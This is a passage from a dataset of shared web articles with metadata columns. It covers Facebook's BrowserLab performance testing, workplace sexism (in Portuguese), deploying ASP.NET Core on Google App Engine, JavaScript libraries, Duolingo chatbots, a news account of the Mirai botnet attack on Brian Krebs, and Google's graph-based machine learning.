the server and the client, and needs to be controlled to produce consistent, accurate results. Example of server-side randomness that can cause inconsistency across trials. System design In our next iteration of BrowserLab, we set out to control for each of these types of noise. We introduced a series of new components throughout our system to improve our accuracy in detecting changes in page load time. HTTP Proxy: Isolating server noise from client performance In our initial implementation, where we repeatedly loaded facebook.com from the control and treatment web servers, every iteration effectively tested the performance of both the server and the client. We already have tools for measuring server performance, so with BrowserLab we focus on measuring client performance. To measure tiny differences in client performance, we need to isolate the client code. We do this by sending requests through an HTTP proxy server. The proxy caches request and response pairs, instantly responding if there's a hit. After a warm-up phase where we populate the proxy cache, the proxy will contain all resources needed to serve the page. We run the proxy and Chrome instances on the same machine and alternate test iterations between control and treatment. This removes both server and network noise, isolating the entire performance test to a single machine. It also removes noise caused by a hardware or software difference between two client machines. We reserve multiple cores for use by the proxy and Chrome on our client machines to ensure there is no significant CPU contention. Reducing client environment noise Disk writes: Many outlier trials contained writes like flushing cache and history to disk. We observed much greater variance in disk write performance compared with CPU. Since loading facebook.com is primarily CPU-bound, we relocated the browser directories to a RAM disk to eliminate reliance on physical disks. This eliminated a major source of outliers. Browser state: The performance of a long-running browser instance changes over time due to factors like caching and other internal states. To ensure we are consistently measuring the same setup, we launch a new instance of the browser and tear it down in each trial. We ensure that the browser cache, configuration, and cookies are exactly the same for every trial. Once we eliminated server/network noise, we focused on reducing client environment noise. Our analysis of tracing data revealed two major sources: Backend proxy: Consistent view of Facebook data After we record the initial request/response pairs in the HTTP proxy, all client performance measurements will be isolated from the server. However, in this record phase, the control and treatment servers may not fetch the exact same data and can produce dramatically different responses. Products like News Feed are highly dynamic, so new stories and ranking changes can occur even between refreshes of the same page. We need to ensure that both the control and treatment servers receive the same News Feed, notifications, and sidebar content to provide a valid comparison. If the control News Feed contains an auto-play video while the treatment News Feed only contains static content, we will detect performance changes that are not caused by the tested code change but instead by a change in the page content. To address this issue, we place another proxy layer between the web servers and all backend services and storage layers. The backend proxy understands the protocols we use for data fetching and caches request/response pairs for the web servers. Both the control and treatment servers now will have the same view of Facebook's data and produce identical page content. Code non-determinism Code non-determinism can occur on both the client and the server. On the client, we want to test the same JavaScript code paths in every trial of an experiment. To eliminate randomness, we replace Math.random and Date with custom, seeded versions. Since JavaScript is single-threaded and execution order is deterministic, this is sufficient to control randomness on the page. On the server, we must ensure that the control and treatment servers send down the same components and request the same JavaScript code to be executed - we do not want some elements to be randomly included or excluded. We take a similar approach as we do on the client where we replace HHVM's random functions with deterministic versions. However, due to the use of async fetching , execution order is non-deterministic, so seeding the random number generator is not sufficient. Instead, our custom random implementation generates a backtrace and uses it to produce a unique series of random numbers per callsite to PHP's random functions. This seeding approach is stable across execution ordering and across machines, eliminating our non-determinism problem. Experiment procedure Deploy servers: Use a shared pool of machines to start control and treatment web servers with respective versions of Facebook to test. Set up a server to run the client and proxy servers. Benchmarking: Measure performance for a series of test users with data representative of the distribution of real users. Record phase: Populate the HTTP proxy with request/response pairs. Replay phase: Alternate between requesting the control and treatment webpages for 50 trials. Measure and record performance numbers. Note that the web server is no longer needed since full responses are available in the HTTP proxy. Aggregation: Compute statistics across trials and across test users to determine the average change in performance numbers. We combine all the elements above into an experiment procedure: Results & root cause analysis With this setup, we're able to accurately measure changes as small as 20 ms in page load time with 95 percent confidence across a set of 50 representative test users. This accuracy has been invaluable in identifying numerous page load optimizations and preventing regressions from being pushed to production. We also compute aggregations of Chrome's tracing data to show engineers the root cause for changes in page load time. We aggregate the exclusive time from each trace event into several categories, and then aggregate these across control/treatment trials. We compute the average difference between control and treatment, and then aggregate these differences across test user accounts. This analysis allows us to produce a table similar to the one shown below to illustrate which browser activities have consumed more time or less from the tested code change. Automated regression detection Once we completed this measurement platform, we wanted to ensure that no regressions are pushed to production going forward. We automatically run BrowserLab on a continuous basis, kicking off a run comparing the current production branch to trunk every two hours. We apply change point analysis to detect step changes in timing metrics and perform an automated bisect to find the code change that caused the regression. The bisect process integrates with our task tracking system by automatically alerting the engineer who authored the commit of the detected issue and blocking future pushes until the regression is resolved. Future work BrowserLab has been invaluable for preventing regressions in page load time and helping engineers identify possible optimizations. There are still many exciting future directions that we're pursuing to continue to make the platform even more useful for engineers. Over the past few years, we've seen a growing shift from web to mobile. While we've already built platforms like CT-Scan to identify and prevent regressions in our native mobile apps, we do not have a similar platform for our mobile website. BrowserLab can load our mobile website today, but performance of Chrome running on server-class hardware is not likely to be representative of real mobile devices. Using Facebook's mobile device lab , we plan to run instances of Chrome for mobile on actual phones and gather representative performance data. We also plan to expand to cover interaction testing. Our existing system focuses on initial page load time, but people on Facebook also care how quickly the page responds when commenting on and liking stories, starting live videos, and much more. Facebook already has a large range of existing WebDriver-based tests used to catch bugs in our codebase, which we plan to integrate into the BrowserLab environment to cover many other scenarios.",en
1475754252,CONTENT SHARED,-7527881206365368,-4585796377251906117,7302477188747402041,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.97 Safari/537.36",SP,BR,HTML,http://economia.uol.com.br/empregos-e-carreiras/noticias/redacao/2016/10/06/de-piada-sobre-tpm-a-servir-cafezinho-como-lidar-com-machismo-no-trabalho.htm,De piada sobre TPM a servir cafezinho: como lidar com machismo no trabalho?,"Getty Images Nem sempre o machismo no ambiente de trabalho é escancarado, como em um caso de assédio moral ou sexual. Às vezes, pode acontecer de forma sutil em situações do cotidiano no escritório. É sobre isso que fala a jornalista norte-americana Jessica Bennett, autora do livro ""Feminist Fight Club - An Office Survivor Manual For a Sexist Workplace"" (Clube da Luta Feminista - Manual de Sobrevivência no Escritório para Ambientes de Trabalho Sexistas), inédito no Brasil. ""Durante muito tempo eu imaginei que o problema era comigo, mas conversando com outras mulheres eu percebi que o problema não era individual, mas sistêmico, coletivo"", diz Bennett. ""E, se é sistêmico, nós podemos lutar contra ele juntas."" O UOL conversou com Bennett e com a coordenadora do Grupo de Estudos de Gênero e Raça da FEA/USP, Itali Collini; com Lyanna Bittencourt, diretora executiva da consultoria grupo Bittencourt; e a juíza do trabalho Elinay Melo. A partir das entrevistas, foram identificadas as situações mais frequentes de machismo no trabalho e como as mulheres devem enfrentá-las. 1) Ser interrompida ao falar As mulheres tendem a ser interrompidas desnecessariamente mais vezes que os homens quando estão falando, tanto por homens quanto por outras mulheres, segundo um estudo feito pela pesquisadora Adrienne Hancock , da Universidade George Washington. Nem personalidades famosas escapam desse comportamento, conhecido como ""manterrupting"". Por exemplo, a candidata democrata à Presidência dos Estados Unidos, Hillary Clinton, foi interrompida 51 vezes pelo candidato republicano, Donald Trump, no debate realizado em 26 de setembro, segundo levantamento do site de notícias ""Vox"". Trump foi interrompido 17 vezes. O que fazer? Quando for interrompida, a mulher deve continuar falando com o mesmo tom de voz, como se não tivesse percebido, ou dizer frases como ""me deixe terminar minha fala"" ou ""espere que eu conclua meu raciocínio"", diz Collini. Se outras mulheres do mesmo grupo notarem o mesmo problema, é possível criar uma ""rede de apoio"", sugerem Bittencourt e Bennett. Quando uma for interrompida, outra pode chamar a atenção, dizendo ""Ela ainda não terminou de falar"", por exemplo. 2) Receber explicações óbvias Outra situação típica de machismo no trabalho, segundo Bennett: um homem parte do pressuposto que a mulher não entende de um tema simples e óbvio e decide explicar --sem que ela tenha pedido. Pode acontecer também no caso de um leigo tentando ensinar a uma mulher um assunto sobre o qual ela é especialista. Conhecido como ""mansplaining"", o comportamento é descrito no livro ""Men Explain Things to me"" (Homens Explicam Coisas para Mim), de Rebecca Solnit. Solnit conta que um homem passou uma festa inteira falando sobre um livro que ""ela deveria ler"", sem dar-lhe a chance de dizer que, na verdade, ela era a autora. O que fazer? A mulher deve deixar claro que já conhece o assunto, sugere Collini. Se for especialista naquele tema, deve dizer o que estudou e mostrar os resultados de sua pesquisa, ""para não ficar apenas no argumento de autoridade"", sugere a especialista. 3) Ouvir piadas sobre TPM Fazer piadas sobre TPM (tensão pré-menstrual) quando uma mulher age de forma mais assertiva no trabalho também pode ser considerado machismo. Frases como ""ela deve estar naqueles dias"" embutem a ideia de que os hormônios fazem as mulheres serem menos racionais que os homens, segundo as especialistas. ""Não é justo, mas acontece: homens ganham status quando agem de forma agressiva. São vistos como apaixonados pelo trabalho. Já mulheres que agem da mesma maneira perdem status e são vistas como loucas"", diz Bennett. O que fazer? Uma saída, segundo Bennett, é a profissional enfatizar por que está brava: porque fulano deixou de entregar um relatório no prazo ou beltrano não cumpriu uma obrigação, por exemplo. ""A ideia é mostrar que não está dando um 'chilique'. Alguém fez besteira e isso está afetando seu trabalho"", diz a jornalista. 4) Tratá-la como assistente (se você não é) Outra situação que pode ser considerada machista é pedir a uma mulher, por exemplo, para servir café ou tirar xerox, mesmo isso não estando nas atribuições de seu cargo. Segundo as especialistas, alguns homens presumem que cabem às mulheres funções de assistente ou de secretária, ou que o trabalho delas é menos importante que o deles. O que fazer? A mulher deve dizer que aquela tarefa não faz parte de seu trabalho, sugere Collini. ""Mesmo que não se importe de tirar o xerox, deixe claro que o faz por gentileza, não por obrigação"". Bennett menciona em seu livro um exemplo dado pela psicóloga organizacional Katharine O'Brien: ""Se pedirem para você ficar responsável por tomar notas em uma reunião, por exemplo, diga que não o fará porque essa tarefa coloca as mulheres numa posição de subordinação --por terem que tomar notas, e não falar."" 5) Ouvir comentários negativos sobre gravidez e maternidade Outra situação machista que pode acontecer no ambiente de trabalho é colegas ou chefes dizerem que mulheres grávidas ou mães são preguiçosas e/ou trabalham menos. Segundo a juíza do trabalho Elinay Melo, se esse tipo de comentário for feito repetidamente na presença de funcionárias gestantes ou mães pode até ser caracterizado como assédio moral. ""Elas podem procurar a Justiça do Trabalho, além do sindicato da categoria."" O que fazer? Ainda que o comentário negativo seja feito uma única vez, a profissional pode responder que, mesmo sendo mãe, continua comprometida com o trabalho. Se estiver grávida, pode pedir para marcar uma reunião com seu chefe para tratar de seus objetivos na carreira quando voltar da licença-maternidade, sugere Bennett. 6) Ter ideias 'roubadas' Outra situação comum no escritório, segundo Collini: uma profissional apresenta uma ideia em uma reunião, mas é ignorada; depois, um colega é aplaudido ao apresentar a mesma ideia --e não diz que, na verdade, a autoria foi de sua colega. O que fazer? A mulher deve apontar que foi ela quem deu a ideia pela primeira vez, usando frases como ""Obrigada por apoiar a minha a ideia"" ou ""Que bom que você concorda comigo"". Uma reportagem publicada pelo jornal ""The Washington Post"" conta que mulheres da equipe do presidente dos Estados Unidos, Barack Obama, adotaram uma estratégia chamada de ""amplificação"" . Quando uma profissional dá uma ideia durante uma reunião, as outras repetem-na dando crédito à autora. Essa prática, segundo a reportagem, força os homens presentes a reconhecerem a contribuição feita pelas mulheres à discussão e reduz as chances de que eles tentem se apropriar das ideias delas. Obrigado pela sua inscrição",pt
1475761959,CONTENT SHARED,5949788789046720741,3891637997717104548,2384528188857160581,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",SP,BR,HTML,https://cloudplatform.googleblog.com/2016/10/how-to-use-Docker-to-run-ASP.NET-Core-apps-on-Google-App-Engine.html,How to use Docker to run ASP.NET Core apps on Google App Engine,"Ever wish you could run an ASP.NET Core app on Google App Engine ? Now you can, by packaging it in a Docker container. Google App Engine is a platform for building scalable web applications and mobile backends, and provides the built-in services and APIs common to most applications. Up until recently this infrastructure was only accessible from a handful of languages (Java, Python, Go and PHP), but that changed with the introduction of App Engine Flexible Environment , previously known as Managed VMs. App Engine Flexible allows you to use a Docker container of your choice as the backend for your app. And since it's possible to wrap an ASP.NET Core app in a Docker image, this allows us to run ASP.NET Core apps on App Engine Flexible. Step 1: Run your ASP.NET Core app locally There have been NuGet packages for Google Cloud APIs in .NET for a long time, but starting with version 1.15.0.560, these NuGet packages have started targeting the .NET Core runtime. This allows you to write ASP.NET Core apps that use the Google Cloud APIs, to take advantage of services like Google Cloud Storage , Google Cloud Pub/Sub , or perhaps the newer machine learning APIs. To show you how to deploy an ASP.NET Core app to App Engine Flexible, we're going to deploy a very simple app (see the documentation for information about how to build an ASP.NET app that uses the GCP APIs). Of course to use ASP.NET Core, you'll first need to install the .NET Core runtime and Visual Studio tooling, as well as Bower , which our ASP.NET Core app project uses to set up client-side dependencies. Let's start by creating a new ASP.NET Core app from Visual Studio. Open up Visual Studio and select ""File > New Project..."". In the dialog, select the ""Web"" category and the ""ASP.NET Core Web Application (.NET Core)"" template: Name the app ""DemoFlexApp"" and save it in the default ""Projects"" directory for Visual Studio. In the next dialog, select ""Web Application"" and press ""OK"": This will generate the app for you. Try it locally by pressing F5, which will build and run the app and open it in a browser window. Once you're done, stop the app by closing the browser and stopping the debugging session. Step 2: Package it as a Docker container Now let's prepare our app to run on App Engine Flexible. The first step is to define the container and its contents. Don't worry, you won't need to install Docker ⸺ App Engine Flexible can build Docker images remotely as part of the deployment process. For this section, we'll work from the command line. Open up a new command line window by using Win+R and typing cmd.exe in the dialog. Now we need to navigate to the directory that contains the project you just created. You can get the path to the project by right clicking on the project in Visual Studio's Solution Explorer and using the ""Open Folder in File Explorer"" option: You can then copy the path from the File Explorer window and paste it into the command line window. We'll start by creating the contents of the Docker image for our app, including all its packages, pages, and client side scripts in a single directory. The dotnet CLI creates this directory by ""publishing"" your app to it, with the following command: Your app is now published to the default publish directory in the Release configuration. During the process of publishing your app, the dotnet CLI resolves all of dependencies and gathers them together with all other files into the output directory. This directory is what Microsoft calls a .NET Core Portable App ; it contains all of the files that compose your app, and can be used to run your app on any platform that NET Core supports. You can run your app from this directory with this command: Be sure to be in the published directory when you run this command so that all of the resources can be found. The next step is to configure the app that we'll deploy to App Engine Flexible. This requires two pieces: The Dockerfile that describes how to package the app files into a Docker container The app.yaml file that tells the Google Cloud SDK tools how to deploy the app We will deploy the app from the ""published"" directory that you created above. Take the following lines and copy them to a new file called ""Dockerfile"" under the ""published"" directory: A Dockerfile describes the content of the Docker image starting from an existing image and adds files and other changes to it. Our repo Dockerfile starts from the Microsoft official image , which is already configured to run .NET Core apps and adds the app files and the tools necessary to run the app from the directory. One important configuration included in our Dockerfile is the port on which the app listens for incoming traffic ⸺ port 8080, per App Engine Flexible requirements . This is accomplished by setting the ASPNETCORE_URLS environment variable, which ASP.NET Core apps use to determine the port to listen to. The app.yaml file describes how to deploy the app to App Engine, in this case, the App Engine Flexible environment. Here's the minimum configuration file required to run on App Engine Flexible, specifying a custom runtime and the Flexible environment. Copy its contents and paste them into a new file called ""app.yaml"" under the ""published"" directory: Step 3: Deploy to App Engine Flexible Once you've saved the Dockerfile and app.yaml files to the published directory, you're ready to deploy your app to App Engine Flexible. We're going to use the Google Cloud SDK to do this. Follow these steps to get the SDK fully set up on your box. You'll also need a Google Cloud Platform project with billing enabled. Once you've fully configured the app and selected a project to deploy it to, you can finally deploy to App Engine Flexible. To do that run this command: The command will take some time to complete, especially the first time since it has to perform all the setup. Once done, open a browser to the newly deployed app: There! You've downloaded an ASP.NET Core app, packaged it as a Docker container, and deployed it to Google App Engine Flexible. We look forward to seeing more ASP.NET apps running on Google App Engine.",en
1475771143,CONTENT SHARED,3467834993860080188,3609194402293569455,5681278989312189918,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",SP,BR,HTML,http://tutorialzine.com/2016/10/15-interesting-javascript-and-css-libraries-for-october-2016/,15 Interesting JavaScript and CSS Libraries for October 2016,"15 Interesting JavaScript and CSS Libraries for October 2016 Danny Markov Our mission at Tutorialzine is to keep you up to date with the latest and coolest trends in web development. That's why every month we release a handpicked collection of some of the best resources that we've stumbled upon and deemed worthy of your attention. Below is October's list, packed with awesome free libraries including vanilla JS plug-ins, React components, an icon font, and much more! Enjoy :) Leaflet is one of the most popular open-source solutions for creating interactive maps. It offers everything you'd expect out of a map library - markers, layers, zooming, and many more basic and advanced features. The project recently got it's official 1.0 release with many improvements to the API, accessibility and performance. Flexbox grid system for React that allows developers to quickly build page layouts using a simple API of 3 React components - Grid, Flex, and Box. Since it utilizes the flexbox model, all grids with Reflexbox are responsive and can be easily adjusted via the various flexbox properties. Lightweight no-dependencies JavaScript carousel with excellent gesture controls for touch-screen devices. The library provides lots of customization options for controlling the transition speed, frequency, animations, and other details. Excellent browser-support, a clean API, and lots of examples. Tiny, very simple to use JavaScript library for creating beautiful gradient animations. Go to the examples page to see all the features Granim provides, including linear and radial animations, image masks, and interactive change of gradient colors. A UI toolkit for React Native that combines a number of useful components into one package. It includes elements such as menus, various buttons, and form inputs, with new components coming in the future. Very well documented and easy to implement. JavaScript plugin that makes unresposnive elements responsive. Reframe is especially useful for <iframe> and <video> element as it preserves their original aspect ratio. Like most modern libraries, this one doesn't rely on jQuery but can work with $('selectors') if it is included in the page. Awesome library for creating responsive animated progress bars. ProgressBar.js provides a number of built in shapes, and also allows developers to create their own paths using SVG. The progress bars can be further customized through a rich JS options object. Headroom is a vanilla JavaScript library that allows you to easily set up event listeners for user scroll. You can bind different functions for when the scroll moves up or down, the bottom/top of the page is reached, and other events. One of the best available solutions for creating self-toggling headers. Sass mixins for loading indicators with fluid CSS-only animations. The spinners are extremely easy to implement as they require just one HTML element per spinner. To customize the mixins themselves you can simply change the provided SCSS variables. Vanilla JavaScript library that utilizes the History API to make a robust routing system with proper history on single page apps. In browsers where the History API isn't available, Navigo automatically falls back to a hash (#) based routing. Pretty theme for documents that have been generated from HTML or Markdown. It styles all elements on the page, providing them with proper typography, colors and paddings, greatly improving readability. Implementing the theme is as easy as adding a single class to the root element. Customization is done through Sass. This is a library for easier handling of complex CSS animations. Choreographer makes more manageable the transition of multiple properties at once, animations that start off after different delays, and syncing with user gestures such as scrolling. Color pallette created especially for designing user interfaces. It contains 12 colors, each having 10 variations with different intensity. Open color is available in CSS, Sass, Less, and as a plug-in for Photoshop, Illustrator, and Sketch. No dependencies JavaScript library that enables you to integrate fuzzy-search ( approximate string matching ) to your web app. Fuse is very powerful and has lots of options for you to tinker and play with to get the exact search functionality you need. Ionicons is the icon font from the Ionic framework, but it can be freely used as a standalone library. The collection consists of over 500 premium-quality symbols and logos, all drawn in a modern and very appealing style. One of our favorite icon fonts at the moment. by Danny Markov Danny is Tutorialzine's Bootstrap and HTML5 expert. When he is not in the office, you can usually find him riding his bike and coding on his laptop in the park.",en
1475772354,CONTENT SHARED,660451400045043370,3609194402293569455,5681278989312189918,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",SP,BR,HTML,https://techcrunch.com/2016/10/06/duolingos-chatbots-help-you-learn-a-new-language/,Duolingo's chatbots help you learn a new language,"Today's chatbots, for the most part, aren't all that useful, but what if you could use them to learn a new language? When it comes to learning languages, using what you've learned in the context of a conversation is extremely useful. If you are learning online, though, you often don't have anybody to talk to. That's why Duolingo today introduced chatbots to its app that allow you to have AI-powered conversations. These Duolingo Bots currently work for users who want to learn French, Spanish and German. The company promises it'll add other languages soon. Sadly, this feature also currently only works in the Duolingo iPhone app . Given that the bots' intelligence resides in the cloud, you'll have to be connected to the Internet to use this feature. To make talking to the bots a bit more compelling, the company tried to give its different bots a bit of personality. There's Chef Robert, Renée the Driver and Officer Ada, for example. They will react differently to your answers (and correct you as necessary), but for the most part, the idea here is to mimic a real conversation. These bots also allow for a degree of flexibility in your answers that most language-learning software simply isn't designed for. There are plenty of ways to greet somebody, for example, but most services will often only accept a single answer. When you're totally stumped for words, though, Duolingo offers a ""help my reply"" button with a few suggested answers. ""One of the main reasons people learn languages is to have conversations,"" writes Duolingo CEO and co-founder Luis von Ahn in today's announcement. ""Students master vocabulary and comprehension skills with Duolingo, but coming up with things to say in real­-life situations remains daunting. Bots offer a sophisticated and effective answer to that need."" For now, you can only use text chat to talk to the bots. Over time, Duolingo plans to allow for spoken conversations as well, though.",en
1475772744,CONTENT SHARED,-4280604324733069853,3609194402293569455,5681278989312189918,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",SP,BR,HTML,http://www.economist.com/news/science-and-technology/21708220-electronic-tsunami-crashes-down-solitary-journalist-internet,The internet of stings,"TO A layman, the phrase ""Internet of Things"" (IoT) probably conjures up a half-fantastic future in which refrigerators monitor their own contents and send orders direct to the grocer when the butter is running out, while tired commuters order baths to be drawn automatically using their smartphones as they approach their houses in their self-driving cars. Actually, though, a version of the IoT is already here. Wi-Fi hubs, smart televisions, digital video-recorders and the like are all part of a network of devices run by microprocessors that, just as much as desktop, laptop and tablet computers, form part of the internet-but with one crucial distinction. Unlike things immediately recognisable as computers, these devices are often designed with poor security, or even none at all. They are wide open to malicious hackers who might wish to misuse them. And there are already around 5 billion of them, according to Cisco, the world's largest computer-networking company, with billions more to come in the years ahead. One favourite trick of such hackers is the distributed denial of service attack, or DDoS. This temporarily enslaves a number of internet-enabled devices into an arrangement known as a botnet, and then directs this net to send simultaneous requests for attention to a single machine or cluster of machines, thus overwhelming it and making it unusable. Such attacks may be carried out by organised criminals, to hold a firm to ransom; by cyber-savvy countries, as a tool of low-level warfare-or, as in the case of one of the latest attacks, for revenge. The victim is Brian Krebs (pictured above), an American journalist who often reports on internet criminals, including those who run DDoS-for-hire services, and also those involved in the ""dark"" markets that trade in stolen identities and credit-card details. In the past, some of the people he has annoyed have sent heroin to his home while alerting the police to the fact they might find the drug there. This time, the very internet itself was turned against him. On September 20th Mr Krebs's web server became the target of one of the largest DDoS attacks ever recorded-between 600 billion and 700 billion bits per second, or almost half a percent of the internet's entire capacity, for hours at a time. At first, his ""network mitigation provider"", a firm called Akamai that was supplying its services to him free, for the general good of the field, was able to ward off these attacks. Eventually, though, it had to surrender. On September 23rd, with his agreement, it cut him loose and he had to shut down until he could make alternative arrangements. Though Mr Krebs's case is extreme by current standards, there is a risk it will soon become typical. Matthew Prince, the boss of CloudFlare, a firm that helps websites manage heavy traffic and deal with assaults of this sort, says his firm has already seen a sustained ten-day trillion-bits-per-second DDoS attack-though that was launched by a country (he declined to say which) rather than by a private criminal organisation. Other firms, such as OVH, a French web-hosting service, have also reported attacks of this magnitude. On September 17th analysts at Flashpoint, Intel's business-security division, announced that they had found a botnet composed of 1m devices, mostly digital video-recorders. And on October 1st the source code for ""Mirai"", the botnet that attacked Mr Krebs's computer, was released to an internet hackers' forum by a pseudonymous individual. Mirai scans the internet for devices protected by factory-default usernames and passwords (which is often the case for machines that are part of the internet of things, since their owners rarely bother to change these defaults). It then recruits them into the network. For the perpetrators, DDoS attacks are a perfect example of asymmetical warfare-cheap to carry out and expensive to prevent. The cost to Mr Krebs's attackers, whoever they were (he has his suspicions, but no proof), would have been negligible even before Mirai's source code was released; a few thousand dollars at most. Now, it is, in effect, zero. Defending against such attacks, though, is by no means cheap. Mr Krebs says he has been quoted rates of $150,000 to $200,000 a year for full-time protection. That is a lot of money for a freelance to fork out. One way around this is to sign up for Project Shield, a programme (free to those accepted for enrolment into it) run by Google and designed to keep independent news organisations online. Google says Project Shield already protects both individual journalists and editorial organisations, including Rafael Marques de Morais, who reports on corruption and politics in Angola, and El Ciudadano , a Chilean periodical that promotes social and political reform. Since September 25th it has been protecting Mr Krebs, too-though attacks on his web server continue. CloudFlare offers a similar service, Project Galileo, which protects the American Civil Liberties Union, the Committee to Protect Journalists and others. Ultimately, however, the answer to DDoS attacks like that perpetrated by Mirai is to build better security into both devices and the networks they are attached to. Edith Ramirez, chairwoman of America's Federal Trade Commission, said as much in January 2015 when she delivered a polite but blistering speech about privacy and security practices at one of the electronic industry's main trade meetings, the Consumer Electronics Show, in Las Vegas. Equally politely, deaf ears were turned. Andy Ellis, Akamai's chief security officer, says network operators could introduce filters that would prevent common illegitimate traffic from reaching its destination, but the costs and complexities involved mean they do not want to-particularly if their competitors are not forced to bear similar costs. One answer might be government action, in the form of required security standards, to level the playing-field by making all firms bear the same burden. There is no immediate sign of that happening, but if DDoS attacks in the trillions of bits per second range proliferate, that may change. In the meantime, though, people like Mr Krebs will continue to suffer from what Bruce Schneier, an internet-security guru at IBM, aptly describes as ""the democratisation of censorship"".",en
1475777338,CONTENT SHARED,524776334673868069,-1443636648652872475,8637287411656833567,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36",SP,BR,HTML,https://research.googleblog.com/2016/10/graph-powered-machine-learning-at-google.html,Graph-powered Machine Learning at Google,"Recently, there have been significant advances in Machine Learning that enable computer systems to solve complex real-world problems. One of those advances is Google's large scale, graph-based machine learning platform, built by the Expander team in Google Research. A technology that is behind many of the Google products and features you may use everyday, graph-based machine learning is a powerful tool that can be used to power useful features such as reminders in Inbox and smart messaging in Allo , or used in conjunction with deep neural networks to power the latest image recognition system in Google Photos . Learning with Minimal Supervision Much of the recent success in deep learning and machine learning, in general, can be attributed to models that demonstrate high predictive capacity when trained on large amounts of labeled data -- often millions of training examples. This is commonly referred to as "" supervised learning "" since it requires supervision, in the form of labeled data, to train the machine learning systems. (Conversely, some machine learning methods operate directly on raw data without any supervision, a paradigm referred to as unsupervised learning .) However, the more difficult the task, the harder it is to get sufficient high-quality labeled data. It is often prohibitively labor intensive and time-consuming to collect labeled data for every new problem. This motivated the Expander research team to build new technology for powering machine learning applications at scale and with minimal supervision. Expander's technology draws inspiration from how humans learn to generalize and bridge the gap between what they already know (labeled information) and novel, unfamiliar observations (unlabeled information). Known as "" semi-supervised "" learning, this powerful technique enables us to build systems that can work in situations where training data may be sparse. One of the key advantages to a graph-based semi-supervised machine learning approach is the fact that (a) one models labeled and unlabeled data jointly during learning, leveraging the underlying structure in the data, (b) one can easily combine multiple types of signals (for example, relational information from Knowledge Graph along with raw features) into a single graph representation and learn over them. This is in contrast to other machine learning approaches, such as neural network methods, in which it is typical to first train a system using labeled data with features and then apply the trained system to unlabeled data. Graph Learning: How It Works At its core, Expander's platform combines semi-supervised machine learning with large-scale graph-based learning by building a multi-graph representation of the data with nodes corresponding to objects or concepts and edges connecting concepts that share similarities. The graph typically contains both labeled data (nodes associated with a known output category or label) and unlabeled data (nodes for which no labels were provided). Expander's framework then performs semi-supervised learning to label all nodes jointly by propagating label information across the graph. However, this is easier said than done! We have to (1) learn efficiently at scale with minimal supervision (i.e., tiny amount of labeled data), (2) operate over multi-modal data (i.e., heterogeneous representations and various sources of data), and (3) solve challenging prediction tasks (i.e., large, complex output spaces) involving high dimensional data that might be noisy. One of the primary ingredients in the entire learning process is the graph and choice of connections. Graphs come in all sizes, shapes and can be combined from multiple sources. We have observed that it is often beneficial to learn over multi-graphs that combine information from multiple types of data representations (e.g., image pixels, object categories and chat response messages for PhotoReply in Allo ). The Expander team's graph learning platform automatically generates graphs directly from data based on the inferred or known relationships between data elements. The data can be structured (for example, relational data ) or unstructured (for example, sparse or dense feature representations extracted from raw data). To understand how Expander's system learns, let us consider an example graph shown below. There are two types of nodes in the graph: ""grey"" represents unlabeled data whereas the colored nodes represent labeled data. Relationships between node data is represented via edges and thickness of each edge indicates strength of the connection. We can formulate the semi-supervised learning problem on this toy graph as follows: predict a color (""red"" or ""blue"") for every node in the graph . Note that the specific choice of graph structure and colors depend on the task. For example, as shown in this research paper we recently published, a graph that we built for the Smart Reply feature in Inbox represents email messages as nodes and colors indicate semantic categories of user responses (e.g., ""yes"", ""awesome"", ""funny""). The Expander graph learning framework solves this labeling task by treating it as an optimization problem. At the simplest level, it learns a color label assignment for every node in the graph such that neighboring nodes are assigned similar colors depending on the strength of their connection. A naive way to solve this would be to try to learn a label assignment for all nodes at once -- this method does not scale to large graphs. Instead, we can optimize the problem formulation by propagating colors from labeled nodes to their neighbors, and then repeating the process. In each step, an unlabeled node is assigned a label by inspecting color assignments of its neighbors. We can update every node's label in this manner and iterate until the whole graph is colored. This process is a far more efficient way to optimize the same problem and the sequence of iterations converges to a unique solution in this case. The solution at the end of the graph propagation looks something like this: In practice, we use complex optimization functions defined over the graph structure, which incorporate additional information and constraints for semi-supervised graph learning that can lead to hard, non-convex problems. The real challenge, however, is to scale this efficiently to graphs containing billions of nodes, trillions of edges and for complex tasks involving billions of different label types. To tackle this challenge, we created an approach outlined in Large Scale Distributed Semi-Supervised Learning Using Streaming Approximation , published last year. It introduces a streaming algorithm to process information propagated from neighboring nodes in a distributed manner that makes it work on very large graphs. In addition, it addresses other practical concerns, notably it guarantees that the space complexity or memory requirements of the system stays constant regardless of the difficulty of the task, i.e., the overall system uses the same amount of memory regardless of whether the number of prediction labels is two (as in the above toy example) or a million or even a billion. This enables wide-ranging applications for natural language understanding, machine perception, user modeling and even joint multimodal learning for tasks involving multiple modalities such as text, image and video inputs. Language Graphs for Learning Humor As an example use of graph-based machine learning, consider emotion labeling , a language understanding task in Smart Reply for Inbox , where the goal is to label words occurring in natural language text with their fine-grained emotion categories. A neural network model is first applied to a text corpus to learn word embeddings, i.e., a mathematical vector representation of the meaning of each word. The dense embedding vectors are then used to build a sparse graph where nodes correspond to words and edges represent semantic relationship between them. Edge strength is computed using similarity between embedding vectors - low similarity edges are ignored. We seed the graph with emotion labels known a priori for a few nodes (e.g., laugh is labeled as ""funny"") and then apply semi-supervised learning over the graph to discover emotion categories for remaining words (e.g., ROTFL gets labeled as ""funny"" owing to its multi-hop semantic connection to the word ""laugh""). For applications involving large datasets or dense representations that are observed (e.g., pixels from images) or learned using neural networks (e.g., embedding vectors), it is infeasible to compute pairwise similarity between all objects to construct edges in the graph. The Expander team solves this problem by leveraging approximate, linear-time graph construction algorithms. Graph-based Machine Intelligence in Action The Expander team's machine learning system is now being used on massive graphs (containing billions of nodes and trillions of edges) to recognize and understand concepts in natural language, images, videos, and queries, powering Google products for applications like reminders , question answering , language translation , visual object recognition , dialogue understanding , and more. We are excited that with the recent release of Allo , millions of chat users are now experiencing 